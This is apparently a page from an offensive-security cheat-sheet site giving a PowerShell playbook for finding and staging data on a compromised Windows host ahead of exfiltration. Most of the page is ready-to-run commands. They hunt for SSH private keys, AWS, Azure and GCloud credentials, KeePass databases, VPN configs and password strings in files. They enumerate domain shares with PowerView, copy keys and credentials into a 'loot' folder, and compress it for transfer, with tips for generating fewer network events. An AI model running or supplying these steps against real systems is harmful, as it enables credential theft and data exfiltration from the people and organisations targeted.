Skip to content
HackIndex logo

HackIndex

Windows Data Discovery and Staging

3 min read Jul 14, 2026

Before transferring data out of a target environment, identify what is worth taking and stage it efficiently. Broad searches are slow and noisy — focus on high-value locations first, then compress and package before any transfer attempt.

High-value file locations

PS C:\Users\Guest\Desktop> # User desktops and documents
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\Desktop\ -Recurse -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\Documents\ -Recurse -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # SSH keys
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.ssh\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # AWS and cloud credentials
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.aws\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.azure\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.gcloud\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # KeePass databases
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Filter *.kdbx -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # VPN and remote access configs
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Include *.ovpn,*.rdp,*.pcf -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # Database files
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Include *.mdb,*.accdb,*.sqlite,*.db -ErrorAction SilentlyContinue | Where-Object {$_.Length -gt 0}

Searching file content for credentials

PS C:\Users\Guest\Desktop> # Search for password strings in common file types
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config,*.json -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|secret|token|apikey|connectionstring' -CaseSensitive:$false | Select-Object Path, LineNumber, Line
 
PS C:\Users\Guest\Desktop> # findstr equivalent (faster on large filesystems)
PS C:\Users\Guest\Desktop> findstr /s /i /m "password" C:\inetpub\*.config
PS C:\Users\Guest\Desktop> findstr /s /i /m "connectionString" C:\inetpub\*.config
 
PS C:\Users\Guest\Desktop> # Recently modified files (last 7 days)
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7) -and -not $_.PSIsContainer} | Select-Object FullName, LastWriteTime, Length | Sort-Object LastWriteTime -Descending | Select-Object -First 50

ShareFinder — network share enumeration

In domain environments, shares on other hosts often contain scripts, deployment files, and sensitive documents. PowerView's ShareFinder maps all accessible shares across the domain.

PS C:\Users\Guest\Desktop> # PowerView ShareFinder
PS C:\Users\Guest\Desktop> Find-DomainShare -CheckShareAccess
 
PS C:\Users\Guest\Desktop> # Find interesting files on accessible shares
PS C:\Users\Guest\Desktop> Find-InterestingDomainShareFile -Include *.ps1,*.bat,*.txt,*.config,*.xml
 
PS C:\Users\Guest\Desktop> # Manual share check on specific host
PS C:\Users\Guest\Desktop> net view \\$TARGET_IP /all
PS C:\Users\Guest\Desktop> Get-ChildItem \\$TARGET_IP\SYSVOL -Recurse -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem \\$TARGET_IP\NETLOGON -Recurse -ErrorAction SilentlyContinue

Staging and compressing

Collect target files into a staging directory, then compress into a single archive. Smaller archives transfer faster and generate fewer network events than many individual file transfers.

PS C:\Users\Guest\Desktop> # Create staging directory
PS C:\Users\Guest\Desktop> New-Item -Path C:\Windows\Temp\loot -ItemType Directory -Force
 
PS C:\Users\Guest\Desktop> # Copy files to staging area
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\Desktop\*.* C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\.ssh\id_rsa C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\.aws\credentials C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # Compress staging directory
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip -Force
 
PS C:\Users\Guest\Desktop> # Check archive size
PS C:\Users\Guest\Desktop> (Get-Item C:\Windows\Temp\loot.zip).Length / 1MB

For large archives consider splitting into parts: Compress-Archive does not support split archives natively but 7-Zip does if available on the target. Keep individual transfer sizes under 50MB where possible to reduce the chance of incomplete transfers and connection timeouts.